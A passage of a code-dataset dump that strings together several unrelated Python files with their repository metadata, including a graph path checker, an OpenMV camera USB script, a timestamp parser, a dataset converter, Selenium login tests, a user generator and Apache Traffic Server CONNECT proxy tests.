and aresta[1]==verticeFinal):\n return True\n return False\n\n # verifica se existem self.arestas entre dois vértices\n def verifica_aresta_vertice(self, caminho):\n i = 1\n arestasValidas = True\n while i < len(caminho):\n if self.existe_aresta(caminho[i-1],caminho[i]) == False:\n arestasValidas = False\n break\n i = i + 1\n if(arestasValidas):\n self.verifica_todas_arestas(caminho)\n\n\n\n #verifica se visitou todas as self.arestas\n def verifica_todas_arestas(self, caminho):\n if caminho == [0, 1, 2, 0]:\n print('ok')\n faltaAresta = True\n for aresta in self.arestas:\n i = 1\n faltaAresta = True\n arestaFaltante = None\n while i < len(caminho):\n if(aresta[0]==caminho[i-1] and aresta[1]==caminho[i]):\n faltaAresta = False\n arestaFaltante = None\n break\n arestaFaltante = aresta\n i = i + 1\n if(arestaFaltante!=None):\n if(self.nao_direcionada_visitada(caminho, arestaFaltante[0], arestaFaltante[1]) and arestaFaltante[3]):\n faltaAresta = False\n if(faltaAresta):\n break\n if(faltaAresta==False):\n self.solucionado = True\n self.caminhosEncontrados.append(caminho)\n\n # Método que calcula o custo dos caminhos encontrados e imprime o melhor\n def calculaCusto(self):\n melhorCaminho = []\n melhorCusto = 0\n for caminhoEncontrado in self.caminhosEncontrados:\n i = 1\n custoCaminho = 0\n while i < len(caminhoEncontrado):\n custoCaminho = custoCaminho + self.matriz[caminhoEncontrado[i-1]][caminhoEncontrado[i]]\n i = i + 1\n if((melhorCusto==0) or (custoCaminholll\", imgMs, usbMs, img.size()))\n usb.send(img)\n else:\n usb.send(ustruct.pack(\">lll\", imgMs, usbMs, 0))\n if cmd[0] == b's'[0]:\n stream = True\n else:\n stream = False\n usbMs = time.ticks() - ticks\n\n if cmd[1] == b'r'[0]:\n pyb.LED(1).toggle()\n if cmd[1] == b'g'[0]:\n pyb.LED(2).toggle()\n if cmd[1] == b'b'[0]:\n pyb.LED(3).toggle()\n if cmd[1] == b'w'[0]:\n pin.value(False)\n else:\n pin.value(True)\n # /\\ /\\ USB CODE /\\ /\\\n\n #print('{} {}'.format(imgMs,usbMs))\n\n", "repo_name": "FRC7891/INOV8_2020", "sub_path": "vision/openmv_usb_vcp.py", "file_name": "openmv_usb_vcp.py", "file_ext": "py", "file_size_in_byte": 2900, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sensor.reset", "line_number": 26, "usage_type": "call"}, {"api_name": "sensor.set_pixformat", "line_number": 27, "usage_type": "call"}, {"api_name": "sensor.RGB565", "line_number": 27, "usage_type": "attribute"}, {"api_name": "sensor.set_framesize", "line_number": 28, "usage_type": "call"}, {"api_name": "sensor.QVGA", "line_number": 28, "usage_type": "attribute"}, {"api_name": "sensor.set_auto_exposure", "line_number": 29, "usage_type": "call"}, {"api_name": "sensor.set_auto_gain", "line_number": 30, "usage_type": "call"}, {"api_name": "sensor.set_auto_whitebal", "line_number": 31, "usage_type": "call"}, {"api_name": "sensor.set_saturation", "line_number": 34, "usage_type": "call"}, {"api_name": "sensor.skip_frames", "line_number": 35, "usage_type": "call"}, {"api_name": "pyb.USB_VCP", "line_number": 41, "usage_type": "call"}, {"api_name": "time.ticks", "line_number": 49, "usage_type": "call"}, {"api_name": "sensor.snapshot", "line_number": 50, "usage_type": "call"}, {"api_name": "time.ticks", "line_number": 57, "usage_type": "call"}, {"api_name": "time.ticks", "line_number": 60, "usage_type": "call"}, {"api_name": "time.ticks", "line_number": 63, "usage_type": "call"}, {"api_name": "ustruct.pack", "line_number": 72, "usage_type": "call"}, {"api_name": "ustruct.pack", "line_number": 75, "usage_type": "call"}, {"api_name": "time.ticks", "line_number": 80, "usage_type": "call"}, {"api_name": "pyb.LED", "line_number": 83, "usage_type": "call"}, {"api_name": "pyb.LED", "line_number": 85, "usage_type": "call"}, {"api_name": "pyb.LED", "line_number": 87, "usage_type": "call"}, {"api_name": "pin.value", "line_number": 89, "usage_type": "call"}, {"api_name": "pin.value", "line_number": 91, "usage_type": "call"}]} {"seq_id": "33054084372", "text": "from dateutil import tz\nimport datetime\nimport pytz\n\nimport re\n\npattern = r'^\\b(.{4})[:-](.{2})[:-](.{2})\\s+(.{2}):(.{2}):(.{2})(Z|([+-])(.{2}):(.{2}))?.*\\b$'\n\n\nclass Text2Time:\n def __init__(self, text):\n match = re.search(pattern, text)\n if match:\n groups = match.groups()\n\n year = int(groups[0].strip())\n month = int(groups[1].strip())\n day = int(groups[2].strip())\n hour = int(groups[3].strip())\n minute = int(groups[4].strip())\n second = int(groups[5].strip())\n if groups[6]:\n if groups[6].strip() == 'Z':\n timezone_value = 0\n else:\n timezone_sign = -1 if (groups[7].strip() == '-') else 1\n timezone_hours = int(groups[8].strip())\n timezone_minutes = int(groups[9].strip())\n timezone_value = timezone_sign * (timezone_hours * 60 + timezone_minutes)\n else:\n timezone_value = None\n self.dateTime = Text2Time.create_custom_datetime(\n year, month, day, hour, minute, second, timezone_value)\n\n @classmethod\n def create_custom_datetime(cls, year, month, day, hour, minute, second, timezone_value=None):\n if timezone_value is None:\n tz_info = tz.tzlocal()\n elif timezone_value == 'Z':\n tz_info = pytz.utc\n else:\n tz_info = tz.tzoffset(None, timezone_value * 60)\n\n try:\n dt = datetime.datetime(year, month, day, hour, minute, second, tzinfo=tz_info)\n return dt.astimezone(tz.tzlocal())\n except ValueError as e:\n # print(f\"Error creating datetime: {e}\")\n return None\n\n\nif __name__ == '__main__':\n time_values = [\n \"2014:05:06 14:55:08+05:30\",\n \"2014:05:06 14:55:08Z\",\n \"2014:05:06 14:55:08\",\n \"2014:05:06 14:55: 8\",\n \"2014:05:06 14: 5: 8\"\n ]\n\n for value in time_values:\n print(f\"{value} ==> {Text2Time(value).dateTime}\")\n", "repo_name": "asarangaram/image_repo", "sub_path": "src/utils/text2date.py", "file_name": "text2date.py", "file_ext": "py", "file_size_in_byte": 2068, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "re.search", "line_number": 12, "usage_type": "call"}, {"api_name": "dateutil.tz.tzlocal", "line_number": 38, "usage_type": "call"}, {"api_name": "dateutil.tz", "line_number": 38, "usage_type": "name"}, {"api_name": "pytz.utc", "line_number": 40, "usage_type": "attribute"}, {"api_name": "dateutil.tz.tzoffset", "line_number": 42, "usage_type": "call"}, {"api_name": "dateutil.tz", "line_number": 42, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 45, "usage_type": "call"}, {"api_name": "dateutil.tz.tzlocal", "line_number": 46, "usage_type": "call"}, {"api_name": "dateutil.tz", "line_number": 46, "usage_type": "name"}]} {"seq_id": "42803728529", "text": "from typing import List\n\n\nclass Solution:\n\n def merge(self, nums1: List[int], m: int, nums2: List[int], n: int) -> None:\n '''合并两个有序数组\n \n @Note:\n 类似归并排序，从后往前\n '''\n i, j, k = m - 1, n - 1, m + n - 1\n if n == 0:\n return\n while True:\n if nums1[i] > nums2[j]:\n nums1[k] = nums1[i]\n k -= 1\n i -= 1\n else:\n nums1[k] = nums2[j]\n j -= 1\n k -= 1\n if i == -1 or j == -1:\n break\n if i == -1:\n nums1[:j + 1] = nums2[:j + 1] #注意左闭右开\n\n\nif __name__ == '__main__':\n nums1 = [1, 0] #[int(x) for x in input().strip().split(' ')]\n m = 1 #int(input().strip())\n nums2 = [2] #[int(x) for x in input().strip().split(' ')]\n n = 1 #int(input().strip())\n solution = Solution()\n solution.merge(nums1, m, nums2, n)\n print(nums1)\n", "repo_name": "staillyd/leetcode", "sub_path": "leetcode/array/88.py", "file_name": "88.py", "file_ext": "py", "file_size_in_byte": 1008, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.List", "line_number": 6, "usage_type": "name"}]} {"seq_id": "28508931252", "text": "# -*- coding: utf-8 -*-\r\n# @Author: Ruban\r\n# @License: Apache Licence\r\n# @File: icdar2013_convert.py\r\n\r\nimport os\r\nimport re\r\nimport codecs\r\nimport argparse\r\nimport numpy as np\r\n\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument('--data_dir', type=str, default=r'D:\\data\\ICDAR2013')\r\n\r\nFLAGS = parser.parse_args()\r\n\r\n\r\nclass ICDAR2013Convertor:\r\n def __init__(self, img_root, txt_root):\r\n super(ICDAR2013Convertor, self).__init__()\r\n self.img_root = img_root\r\n self.txt_root = txt_root\r\n\r\n def convert_to_craft(self):\r\n img_name_list = os.listdir(self.img_root)\r\n sample_list = list()\r\n for img_name in img_name_list:\r\n txt_name = 'gt_' + img_name[:-len(img_name.split('.')[-1])] + 'txt'\r\n txt_path = os.path.join(self.txt_root, txt_name)\r\n img_path = os.path.join(self.img_root, img_name)\r\n if os.path.exists(txt_path):\r\n word_boxes = list()\r\n char_boxes_list = list()\r\n words = list()\r\n with codecs.open(txt_path, 'rb', encoding='utf-8') as txt_file:\r\n lines = txt_file.read().splitlines()\r\n for line in lines:\r\n infos = re.split(',? ', line)\r\n\r\n word = infos[4]\r\n word = re.sub('^\"', '', word)\r\n word = re.sub('\"$', '', word)\r\n if '\\\\' in word:\r\n print(word)\r\n words.append(word)\r\n\r\n char_boxes_list.append([])\r\n\r\n left, top, right, bottom = [round(float(p)) for p in infos[:4]]\r\n word_box = np.array([[left, top], [right, top], [right, bottom], [left, bottom]])\r\n word_boxes.append(word_box)\r\n\r\n sample_list.append([img_path, word_boxes, words, char_boxes_list])\r\n\r\n return sample_list\r\n\r\n\r\nif __name__ == '__main__':\r\n import pickle\r\n\r\n image_dir = os.path.join(FLAGS.data_dir, r'Challenge2_Training_Task12_Images')\r\n txt_dir = os.path.join(FLAGS.data_dir, r'Challenge2_Training_Task1_GT')\r\n pkl_path = os.path.join(FLAGS.data_dir, r'gt.pkl')\r\n\r\n icdar_2013_convertor = ICDAR2013Convertor(img_root=image_dir,\r\n txt_root=txt_dir)\r\n craft_sample_list = icdar_2013_convertor.convert_to_craft()\r\n with open(pkl_path, 'wb') as pkl_file:\r\n pickle.dump(craft_sample_list, pkl_file)\r\n\r\n image_dir = os.path.join(FLAGS.data_dir, r'Challenge2_Test_Task12_Images')\r\n txt_dir = os.path.join(FLAGS.data_dir, r'Challenge2_Test_Task1_GT')\r\n pkl_path = os.path.join(FLAGS.data_dir, r'test_gt.pkl')\r\n\r\n icdar_2013_convertor = ICDAR2013Convertor(img_root=image_dir,\r\n txt_root=txt_dir)\r\n craft_sample_list = icdar_2013_convertor.convert_to_craft()\r\n with open(pkl_path, 'wb') as pkl_file:\r\n pickle.dump(craft_sample_list, pkl_file)\r\n", "repo_name": "RubanSeven/CRAFT_keras", "sub_path": "converts/icdar2013_convert.py", "file_name": "icdar2013_convert.py", "file_ext": "py", "file_size_in_byte": 3039, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 165, "dataset": "github-code", "pt": "71", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 12, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path", "line_number": 30, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "codecs.open", "line_number": 35, "usage_type": "call"}, {"api_name": "re.split", "line_number": 38, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 41, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path", "line_number": 61, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path", "line_number": 62, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "attribute"}, {"api_name": "pickle.dump", "line_number": 69, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path", "line_number": 71, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path", "line_number": 72, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 73, "usage_type": "call"}, {"api_name": "os.path", "line_number": 73, "usage_type": "attribute"}, {"api_name": "pickle.dump", "line_number": 79, "usage_type": "call"}]} {"seq_id": "6910654847", "text": "#!/usr/bin/env python\n# encoding: utf-8\n\"\"\"\n@author: Mingjun Lei\n@file: test_wework.py\n@time: 2021/2/26 16:07\n@desc: This py file is to test different login scenarios without PO\n\"\"\"\nimport json\nfrom time import sleep\nimport pytest\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\n\n\nclass TestWeWork:\n\n def setup(self):\n chrome_arg = webdriver.ChromeOptions()\n chrome_arg.debugger_address = '127.0.0.1:9222'\n # self.driver = webdriver.Chrome(options=chrome_arg)\n self.driver = webdriver.Chrome()\n self.driver.implicitly_wait(6)\n\n def teardown(self):\n self.driver.quit()\n\n # @pytest.mark.skip\n def test_register(self):\n \"\"\"\n Sign in from homepage of WechatWork\n \"\"\"\n self.driver.get(\"https://work.weixin.qq.com/\") # original website\n self.driver.find_element(By.XPATH, \"//*[@class='index_top_operation_loginBtn']\").click() # click on login\n self.driver.find_element(By.XPATH, \"//*[@class='login_registerBar_link']\").click() # Company registration\n self.driver.find_element(By.XPATH, \"//*[@id='corp_name']\").send_keys(\"test\") # company name\n sleep(2)\n\n # @pytest.mark.skip\n def test_login_with_debugger(self):\n \"\"\"\n Reusing chrome browser by port\n \"\"\"\n self.driver.get(\"https://work.weixin.qq.com/wework_admin/frame\") # website with login user\n self.driver.find_element(By.XPATH, \"//*[@id='menu_contacts']\").click() # change to contact tab\n self.driver.find_element(By.XPATH, \"//*[@id='menu_apps']\").click() # change to app management tab\n self.driver.find_element(By.XPATH, \"//*[@id='menu_customer']\").click()\n self.driver.find_element(By.XPATH, \"//*[@id='menu_manageTools']\").click()\n self.driver.find_element(By.XPATH, \"//*[@id='menu_profile']\").click()\n\n # @pytest.mark.skip\n def test_login_with_cookies(self):\n \"\"\"\n Access to website with cookies\n \"\"\"\n # store cookie, login status first with debugger\n # cookies = self.driver.get_cookies()\n # print(cookies)\n # with open(\"temp.txt\", \"w\", encoding=\"utf-8\") as f:\n # json.dump(cookies, f)\n\n # read cookie, could use general chromedriver\n self.driver.get(\"https://work.weixin.qq.com/wework_admin/frame#index\")\n with open(\"temp.txt\", \"r\", encoding=\"utf-8\") as f:\n cookies = json.load(f)\n print(cookies)\n for cookie in cookies:\n self.driver.add_cookie(cookie)\n self.driver.refresh()\n sleep(2)\n", "repo_name": "junevision/WechatWorkTest", "sub_path": "Web/testcases/test_wework.py", "file_name": "test_wework.py", "file_ext": "py", "file_size_in_byte": 2590, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "selenium.webdriver.ChromeOptions", "line_number": 19, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 19, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 22, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 22, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 34, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 34, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 35, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 35, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 36, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 36, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 37, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 45, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 45, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 46, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 46, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 47, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 47, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 48, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 48, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 49, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 49, "usage_type": "name"}, {"api_name": "json.load", "line_number": 65, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 70, "usage_type": "call"}]} {"seq_id": "19541490763", "text": "import requests\nimport json\nfrom random import sample, randint\nfrom datetime import datetime, timedelta\nimport logging\nlogging.basicConfig(level=logging.INFO, format='%(asctime)s %(levelname)s %(name)s: %(message)s')\n\nif __name__ == \"__main__\":\n\n logins = ['alex', 'john', 'mike', 'nadya', 'sasha', 'peter', 'fox', 'cat', 'dog']\n domains = ['@mail.ru', '@yahoo.com', '@hotmail.com', '@yandex.ru', '@gmail.com', '@ya.ru', '@list.ru']\n fnames = ['Nadya', 'Anya', 'Julia', 'Sasha', 'Alex', 'Alexey', 'Dan', 'Andy', 'Ira', 'Nomi', 'Elka']\n lnames = ['Marchewka', 'Polenka', 'Kozalko', 'Sarowsky', 'Ishkov']\n\n url = 'http://127.0.0.1:8000/api/users/'\n\n\n emails = list()\n names = list()\n\n for login in logins:\n for domain in domains:\n emails.append(login + domain)\n\n for fname in fnames:\n for lname in lnames:\n names.append(\" \".join([fname, lname]))\n\n\n for email in emails:\n row = dict()\n row['name'] = sample(names, 1)[0]\n row['email'] = email\n row['is_guest'] = sample([0,1], 1)[0]\n if row['is_guest'] == 1:\n row['registration_date'] = datetime(1970,1,1,0,0,0)\n else:\n row['registration_date'] = datetime.now() \n row['join_date'] = datetime.now()\n \n r = requests.post(url, data=row)\n logging.info(\"{0} - {1}\".format(str(r.status_code), str(r.reason)))\n\n logging.info(\"Generated {0} users\".format(len(emails))) \n\n\n\n", "repo_name": "ml-workteam/de", "sub_path": "simulations/generate_users.py", "file_name": "generate_users.py", "file_ext": "py", "file_size_in_byte": 1477, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.basicConfig", "line_number": 6, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 6, "usage_type": "attribute"}, {"api_name": "random.sample", "line_number": 32, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 34, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 36, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 38, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 38, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 39, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 39, "usage_type": "name"}, {"api_name": "requests.post", "line_number": 41, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 42, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 44, "usage_type": "call"}]} {"seq_id": "10515757874", "text": "import scipy.spatial.distance\nimport numpy as np\n\ndef distance(data):\n\n total = 0\n num_obs = data.shape[0]\n\n for i in range(num_obs):\n for j in range(i+1,num_obs):\n total += scipy.spatial.distance.euclidean(data[i],data[j])\n\n return total\n\ndef correlation(data):\n\n total = 0 \n\n with np.errstate(divide='ignore',invalid='ignore'):\n corr = np.corrcoef(data)\n\n # xij = NaN only occurs if either the variable xi or xj had variance 0\n # Then, cov(xi, xj) = 0\n # Therefore, we can set NaN values to 0\n corr[np.isnan(corr)] = 0\n\n num_vars = corr.shape[0]\n for i in range(num_vars):\n for j in range(i+1,num_vars):\n total += abs(corr[i,j])\n\n return total\n\ndef condition(data):\n return np.linalg.cond(data, p=2)\n", "repo_name": "theislab/AutoGeneS", "sub_path": "autogenes/objectives.py", "file_name": "objectives.py", "file_ext": "py", "file_size_in_byte": 735, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 53, "dataset": "github-code", "pt": "71", "api": [{"api_name": "scipy.spatial.distance.spatial.distance.euclidean", "line_number": 11, "usage_type": "call"}, {"api_name": "scipy.spatial.distance.spatial", "line_number": 11, "usage_type": "attribute"}, {"api_name": "scipy.spatial.distance", "line_number": 11, "usage_type": "name"}, {"api_name": "numpy.errstate", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.corrcoef", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.linalg.cond", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 35, "usage_type": "attribute"}]} {"seq_id": "40303306283", "text": "import argparse\nimport tempfile\nfrom pathlib import Path\n\nDEFAULT_DIR = Path(tempfile.gettempdir()) / \"ya-drone-swarm\"\nDEFAULT_PROVIDERS = 2\n\nDEFAULT_CPU_QUOTA = 1024\nDEFAULT_CPU_SHARES = 0.5 # core percentage\nDEFAULT_MEM = 512 # MB\n\n\ndef arg_parser():\n parser = argparse.ArgumentParser(prog=\"ya-drone-swarm\")\n parser.add_argument(\n \"-d\",\n \"--dir\",\n type=str,\n default=DEFAULT_DIR,\n help=\"override working directory\",\n )\n\n subparsers = parser.add_subparsers(dest=\"cmd\", help=\"command to run\")\n parser_up = subparsers.add_parser(\"up\", help=\"bring up containers\")\n parser_env = subparsers.add_parser(\"env\", help=\"start environment shell\")\n subparsers.add_parser(\"ps\", help=\"show processes\")\n\n _args_up(parser_up)\n _args_env(parser_env)\n\n return parser\n\n\ndef _args_up(parser):\n def providers(value):\n count = int(value)\n if count <= 0:\n raise ValueError(\"Number of providers must be greater than 0\")\n return count\n\n def caps(value):\n if value.lower() == \"none\":\n return 0, 0\n values = value.split(\",\")\n if len(values) != 2:\n raise ValueError(f\"Invalid caps: {value}, expected 'cpu,mem'\")\n return float(values[0]), int(values[1])\n\n default_caps = f\"none\"\n\n parser.add_argument(\n \"-s\",\n \"--subnet\",\n default=\"drones\",\n type=str,\n help=\"subnet to use\",\n )\n parser.add_argument(\n \"-b\",\n \"--binary\",\n default=[],\n action=\"append\",\n nargs=2,\n metavar=(\"name\", \"path\"),\n help=\"override binary path\",\n )\n parser.add_argument(\n \"-p\",\n \"--providers\",\n default=DEFAULT_PROVIDERS,\n type=providers,\n help=\"number of providers\",\n )\n parser.add_argument(\n \"--cap-net\",\n default=default_caps,\n type=caps,\n help=\"net resource cap [cpu_percent,mem_MB]\",\n )\n parser.add_argument(\n \"--cap-req\",\n default=default_caps,\n type=caps,\n help=\"requestor resource cap [cpu_percent,mem_MB]\",\n )\n parser.add_argument(\n \"--cap-prov\",\n default=default_caps,\n type=caps,\n help=\"provider resource cap [cpu_percent,mem_MB]\",\n )\n parser.add_argument(\n \"-c\", \"--central-net\", action=\"store_true\", help=\"use central network\"\n )\n\n\ndef _args_env(parser):\n parser.add_argument(\n \"-n\",\n \"--no-init\",\n action=\"store_true\",\n help=\"do not run requestor setup\",\n )\n", "repo_name": "mfranciszkiewicz/ya-drone-swarm", "sub_path": "ya_drone_swarm/cli.py", "file_name": "cli.py", "file_ext": "py", "file_size_in_byte": 2560, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pathlib.Path", "line_number": 5, "usage_type": "call"}, {"api_name": "tempfile.gettempdir", "line_number": 5, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 14, "usage_type": "call"}]} {"seq_id": "19122759978", "text": "from enum import Enum\nimport os\nimport re\n\nTest.Summary = 'Exercise HTTP CONNECT Method'\nTest.ContinueOnFail = True\n\n\nclass ConnectTest:\n\n class State(Enum):\n \"\"\"\n State of process\n \"\"\"\n INIT = 0\n RUNNING = 1\n\n def __init__(self):\n self.state = self.State.INIT\n self.__setupOriginServer()\n self.__setupTS()\n\n def __setupOriginServer(self):\n self.httpbin = Test.MakeHttpBinServer(\"httpbin\")\n\n def __setupTS(self):\n self.ts = Test.MakeATSProcess(\"ts\")\n\n self.ts.Disk.records_config.update(\n {\n 'proxy.config.diags.debug.enabled': 1,\n 'proxy.config.diags.debug.tags': 'http',\n 'proxy.config.http.server_ports': f\"{self.ts.Variables.port}\",\n 'proxy.config.http.connect_ports': f\"{self.httpbin.Variables.Port}\",\n })\n\n self.ts.Disk.remap_config.AddLines([\n f\"map http://foo.com/ http://127.0.0.1:{self.httpbin.Variables.Port}/\",\n ])\n\n self.ts.Disk.logging_yaml.AddLines(\n '''\nlogging:\n formats:\n - name: common\n format: '% - % [%] \"% % %\" % %'\n logs:\n - filename: access\n format: common\n'''.split(\"\\n\"))\n\n def __checkProcessBefore(self, tr):\n if self.state == self.State.RUNNING:\n tr.StillRunningBefore = self.httpbin\n tr.StillRunningBefore = self.ts\n else:\n tr.Processes.Default.StartBefore(self.httpbin, ready=When.PortOpen(self.httpbin.Variables.Port))\n tr.Processes.Default.StartBefore(self.ts)\n self.state = self.State.RUNNING\n\n def __checkProcessAfter(self, tr):\n assert (self.state == self.State.RUNNING)\n tr.StillRunningAfter = self.httpbin\n tr.StillRunningAfter = self.ts\n\n def __testCase0(self):\n tr = Test.AddTestRun()\n self.__checkProcessBefore(tr)\n tr.Processes.Default.Command = f\"curl -v --fail -s -p -x 127.0.0.1:{self.ts.Variables.port} 'http://foo.com/get'\"\n tr.Processes.Default.ReturnCode = 0\n tr.Processes.Default.Streams.stderr = \"gold/connect_0_stderr.gold\"\n tr.Processes.Default.TimeOut = 3\n self.__checkProcessAfter(tr)\n\n def __testAccessLog(self):\n \"\"\"Wait for log file to appear, then wait one extra second to make sure TS is done writing it.\"\"\"\n Test.Disk.File(os.path.join(self.ts.Variables.LOGDIR, 'access.log'), exists=True, content='gold/connect_access.gold')\n\n tr = Test.AddTestRun()\n tr.Processes.Default.Command = (\n os.path.join(Test.Variables.AtsTestToolsDir, 'condwait') + ' 60 1 -f ' +\n os.path.join(self.ts.Variables.LOGDIR, 'access.log'))\n tr.Processes.Default.ReturnCode = 0\n\n def run(self):\n self.__testCase0()\n self.__testAccessLog()\n\n\nConnectTest().run()\n\n\nclass ConnectViaPVTest:\n # This test also executes the CONNECT request but using proxy verifier to\n # generate traffic\n connectReplayFile = \"replays/connect.replay.yaml\"\n\n def __init__(self):\n self.setupOriginServer()\n self.setupTS()\n\n def setupOriginServer(self):\n self.server = Test.MakeVerifierServerProcess(\"connect-verifier-server\", self.connectReplayFile)\n # Verify server output\n self.server.Streams.stdout += Testers.ExcludesExpression(\"uuid: 1\", \"Verify the CONNECT request doesn't reach the server.\")\n self.server.Streams.stdout += Testers.ContainsExpression(\n \"GET /get HTTP/1.1\\nuuid: 2\", reflags=re.MULTILINE, description=\"Verify the server gets the second request.\")\n\n def setupTS(self):\n self.ts = Test.MakeATSProcess(\"connect-ts\")\n\n self.ts.Disk.records_config.update(\n {\n 'proxy.config.diags.debug.enabled': 1,\n 'proxy.config.diags.debug.tags': 'http|iocore_net|rec',\n 'proxy.config.http.server_ports': f\"{self.ts.Variables.port}\",\n 'proxy.config.http.connect_ports': f\"{self.server.Variables.http_port}\",\n })\n\n self.ts.Disk.remap_config.AddLines([\n f\"map / http://127.0.0.1:{self.server.Variables.http_port}/\",\n ])\n # Verify ts logs\n self.ts.Disk.traffic_out.Content += Testers.ContainsExpression(\n f\"Proxy's Request.*\\n.*\\nCONNECT 127.0.0.1:{self.server.Variables.http_port} HTTP/1.1\",\n reflags=re.MULTILINE,\n description=\"Verify that ATS recognizes the CONNECT request.\")\n\n def runTraffic(self):\n tr = Test.AddTestRun(\"Verify correct handling of CONNECT request\")\n tr.AddVerifierClientProcess(\n \"connect-client\", self.connectReplayFile, http_ports=[self.ts.Variables.port], other_args='--thread-limit 1')\n tr.Processes.Default.StartBefore(self.server)\n tr.Processes.Default.StartBefore(self.ts)\n tr.StillRunningAfter = self.server\n tr.StillRunningAfter = self.ts\n\n def __testMetrics(self):\n tr = Test.AddTestRun(\"Test metrics\")\n tr.Processes.Default.Command = (\n f\"{Test.Variables.AtsTestToolsDir}/stdout_wait\" + \" 'traffic_ctl metric get\" +\n \" proxy.process.http.total_incoming_connections\" + \" proxy.process.http.total_client_connections\" +\n \" proxy.process.http.total_client_connections_ipv4\" + \" proxy.process.http.total_client_connections_ipv6\" +\n \" proxy.process.http.total_server_connections\" + \" proxy.process.http2.total_client_connections\" +\n \" proxy.process.http.connect_requests\" + \" proxy.process.tunnel.total_client_connections_blind_tcp\" +\n \" proxy.process.tunnel.current_client_connections_blind_tcp\" +\n \" proxy.process.tunnel.total_server_connections_blind_tcp\" +\n \" proxy.process.tunnel.current_server_connections_blind_tcp\" +\n \" proxy.process.tunnel.total_client_connections_tls_tunnel\" +\n \" proxy.process.tunnel.current_client_connections_tls_tunnel\" +\n \" proxy.process.tunnel.total_client_connections_tls_forward\" +\n \" proxy.process.tunnel.current_client_connections_tls_forward\" +\n \" proxy.process.tunnel.total_client_connections_tls_partial_blind\" +\n \" proxy.process.tunnel.current_client_connections_tls_partial_blind\" +\n \" proxy.process.tunnel.total_client_connections_tls_http\" +\n \" proxy.process.tunnel.current_client_connections_tls_http\" + \" proxy.process.tunnel.total_server_connections_tls\" +\n \" proxy.process.tunnel.current_server_connections_tls'\" + f\" 